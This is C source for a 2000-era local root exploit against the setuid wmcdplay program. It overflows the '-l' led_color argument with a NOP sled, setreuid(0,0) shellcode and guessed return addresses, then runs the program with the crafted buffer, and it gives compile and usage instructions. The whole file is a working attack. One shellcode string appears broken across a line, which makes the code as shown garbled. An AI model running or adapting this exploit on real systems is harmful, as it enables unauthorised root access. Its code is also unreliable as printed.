/*Overflows the -l arg (led_color) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org *$:> gcc
wmcdplay-lexp.c -o wml ;./wml <offset> *offset -590 worked for me on
Mandrake 7.0 *Credit: TESO Crew http://teso.scene.at/ for finding the
original -d hole. */

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next instruction. */ 
#define LEN 534 /*our buffersize. */

char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x
1\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";

/*Nab the stack pointer to use as an index into our nop's*/ long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();

/*#Copy the NOPs in to the buffer leaving space for shellcode and
#pointers*/
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++) *(buffer + i) =
NOP;

/*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
/*                      ^-- LEN -(strlen(shellcode)) - 50*/
/*#Copy the shell code into the buffer*/ memcpy (buffer + i, shellcode,
strlen (shellcode));

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS            ]*/
/*                      ^-(buffer+i)                 */
/*#Fill the buffer with our new address to jump to esp + offset */ for (i
= i + strlen (shellcode); i < LEN; i += 4) *(long *) &buffer[i] = retaddr
+ atoi (argv[1]);
/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/ /*
^-(i+strlen(shellcode))*/ printf ("Jumping to address %x BufSize %d\n",
retaddr + atoi (argv[1]), LEN);

execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l", buffer, 0);

}

